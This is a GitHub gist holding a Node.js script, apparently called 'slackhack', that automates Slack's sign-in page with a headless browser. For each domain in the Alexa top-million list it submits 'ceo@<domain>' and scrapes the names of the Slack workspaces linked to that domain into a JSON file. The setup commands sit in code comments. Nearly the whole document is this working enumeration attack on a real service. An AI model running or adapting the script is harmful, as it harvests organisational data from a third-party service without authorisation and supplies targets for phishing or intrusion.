-
-
Save anonymous/4e34a10f1552dd8ede96 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
// mkdir slackHack && cd slackHack | |
// wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip && unzip top-1m.csv.zip | |
// npm install cheerio nightmare JSONStream csv-stream concurrent-map-stream | |
// node slackhack.js & tail -f domains.json | |
var cheerio = require('cheerio'); | |
var Nightmare = require('nightmare'); | |
var fs = require('fs'); | |
var JSONStream = require('JSONStream'); | |
var csv = require('csv-stream'); | |
var queue = require('concurrent-map-stream'); | |
fs.createReadStream('./top-1m.csv') | |
.pipe(csv.createStream({ | |
columns: ['index', 'domain'] | |
})) | |
.pipe(queue(function(data, cb) { | |
slackHack("ceo@" + data.domain, cb); | |
}, 5 /* concurrency */)) | |
.pipe(JSONStream.stringify()) | |
.pipe(fs.createWriteStream('domains.json')); | |
function slackHack(email, cb) { | |
console.log('slack hackin', email); | |
new Nightmare() | |
.useragent('slack-nightmare') | |
.goto('https://slack.com/signin') | |
.type('.control-group input', email) | |
.click('.btn') | |
.wait() | |
.evaluate(function (page) { | |
return document.documentElement.innerHTML; | |
}, function (res) { | |
var $ = cheerio.load(res); | |
var groups = []; | |
$('a.btn-outline.small_right_margin').each(function(i, elem) { | |
groups[i] = $(this).text().replace(/Sign up for/ig,""); | |
}); | |
var domain =email.substr((email.indexOf("@")+1)); | |
cb(null, {domain: domain, groups: groups}); | |
}) | |
.run(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment